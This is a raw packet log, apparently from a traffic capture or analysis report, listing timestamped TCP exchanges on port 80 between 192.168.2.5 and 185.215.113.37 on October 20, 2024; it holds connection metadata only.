Oct 20, 2024 08:40:17.751486063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.751512051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.751523972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.751611948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.751681089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.751693964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.751719952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.751745939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.751756907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.751771927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.751785040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.751807928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.751810074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.751827955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.751831055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.751851082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.751858950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.751866102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.751876116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.751888990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.751899004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.751904964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.751908064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.751919031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.751919985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.751940966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.751961946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.751965046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.751988888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752002954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752003908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752019882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752028942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752036095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752038956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752051115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752059937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752067089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752073050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752090931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752091885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752104044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752106905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752120972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752129078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752136946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752140999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752152920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752160072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752171040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752181053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752191067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752196074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752219915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752219915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752232075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752234936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752249956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752258062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752269983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752299070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752317905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752321959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752336025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752337933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752350092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752366066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752377987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752381086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752396107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752409935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752417088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752433062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752435923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752446890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752454996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752461910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752475977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752485037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752491951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752497911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752516031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752517939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752532959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752532959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752547026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752561092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752563000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752576113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752576113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752593994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752600908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752604008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752623081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752625942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752635956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752639055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752655983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752660036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752671957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752674103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752688885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752693892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752702951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752712011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752721071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752732038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752736092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752737045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752749920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752758980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752768040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752779961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752780914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752794981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752794981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752795935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752811909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752819061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752826929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752834082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752842903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752851963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752859116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752861023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752882004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752883911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752895117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752898932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752912998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752928019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.752935886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752960920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.752983093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.753042936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.753057957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.753073931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.753082991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.753093958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.753113985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.753133059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.753146887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.753164053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.753177881 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.753187895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.753194094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.753212929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.753238916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.753241062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.753256083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.753271103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.753283024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.753294945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.753310919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.753494978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.753509998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.753525019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.753532887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.753539085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.753549099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.753555059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.753562927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.753571033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.753583908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.753587008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.753596067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.753601074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.753613949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.753623962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.753647089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.753649950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.753711939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.753732920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.753748894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.753751993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.753763914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.753774881 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.753779888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.753802061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.753825903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.753827095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.753839016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.753846884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.753860950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.753875017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.753878117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.753889084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.753901005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.753905058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.753923893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.753931046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.753945112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.753950119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.753959894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.753974915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.753984928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.753987074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.753999949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754007101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.754014015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754029036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.754029989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754035950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.754044056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754056931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.754060030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754077911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.754084110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.754106045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.754141092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754156113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754169941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754180908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.754184961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754193068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.754200935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754213095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.754215956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754225969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.754231930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754244089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.754246950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754256010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.754273891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754275084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.754288912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.754302025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754312992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.754324913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754338980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754362106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754364967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.754378080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754386902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.754393101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754416943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.754420042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754437923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.754442930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754458904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754461050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.754473925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754482985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.754491091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754493952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.754506111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754513979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.754522085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754529953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.754538059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754548073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.754554033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754560947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.754576921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754589081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.754591942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754599094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.754606962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754614115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.754630089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754631996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.754643917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.754646063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754662037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754669905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.754677057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754684925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.754699945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.754699945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754714966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754717112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.754731894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754736900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.754746914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.754754066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754767895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754782915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754786015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.754797935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754812002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754812956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.754827976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754836082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.754842043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754859924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.754864931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754879951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754893064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.754895926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754910946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754916906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.754925966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.754934072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.754956007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.754971027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.755108118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.755122900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.755137920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.755162954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.755187035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.755227089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.755244017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.755259037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.755275011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.755284071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.755290985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.755305052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.755306005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.755320072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.755330086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.755335093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.755352974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.755368948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.755369902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.755409002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.755434990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.755450010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.755458117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.755470991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.755471945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.755495071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.755497932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.755506992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.755510092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.755525112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.755532026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.755548000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.755548954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.755563021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.755564928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.755579948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.755595922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.755599976 CEST	49704	80	192.168.2.5	185.215.113.37
